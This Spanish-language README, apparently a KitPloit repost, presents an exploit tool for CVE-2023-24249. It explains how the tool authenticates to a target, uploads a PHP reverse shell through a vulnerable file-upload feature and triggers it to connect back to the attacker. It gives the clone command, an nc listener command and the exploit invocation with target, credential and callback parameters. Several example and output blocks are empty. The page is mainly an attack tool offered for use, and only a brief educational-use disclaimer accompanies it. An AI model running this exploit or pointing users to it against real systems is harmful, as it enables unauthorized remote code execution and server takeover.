CVE-2023-24249-Exploit

Script de exploit para CVE-2023-24249: una vulnerabilidad que permite la ejecución remota de código mediante la carga de archivos y la inyección de comandos.

Script de explotación

El script de explotación proporcionado automatiza el proceso de explotación de CVE-2023-24249. Realiza los siguientes pasos:

1. Autenticarse: Inicia sesión en la aplicación objetivo utilizando las credenciales proporcionadas.
2. Subir reverse shell: Sube un script de reverse shell PHP a través de la funcionalidad vulnerable de carga de archivos.
3. Ejecutar reverse shell: Envía una solicitud GET al script de reverse shell subido para ejecutarlo y establecer una conexión de vuelta a la máquina del atacante.

Requisitos

• Python 3
• Biblioteca requests
• Biblioteca beautifulsoup4

Instale las bibliotecas requeridas usando pip:

Uso

1. Clonar el repositorio:

   root@kitploit:~

   git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit.git
   cd CVE-2023-24249-Exploit
   

2. Iniciar un listener en su máquina:

   root@kitploit:~

   nc -lvnp <PORT>
   

3. Ejecutar el script de explotación:

   root@kitploit:~

   python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -i <YOUR_IP> -p <YOUR_PORT>
   

   Reemplace <TARGET_URL>, <USERNAME>, <PASSWORD>, <YOUR_IP> y <YOUR_PORT> con los valores adecuados:

   • <TARGET_URL>: La URL de la aplicación objetivo.
   • <USERNAME>: El nombre de usuario para la autenticación.
   • <PASSWORD>: La contraseña para la autenticación.
   • <YOUR_IP>: Su dirección IP para recibir la conexión reverse shell.
   • <YOUR_PORT>: El puerto en el que se está ejecutando su listener.

Ejemplo

Salida del script

Si el exploit tiene éxito, el script mostrará:

Aviso legal

Este script está destinado únicamente a fines educativos. El uso no autorizado de este script contra cualquier sistema sin permiso explícito es ilegal y poco ético. El autor no es responsable de ningún uso indebido o daño causado por este script.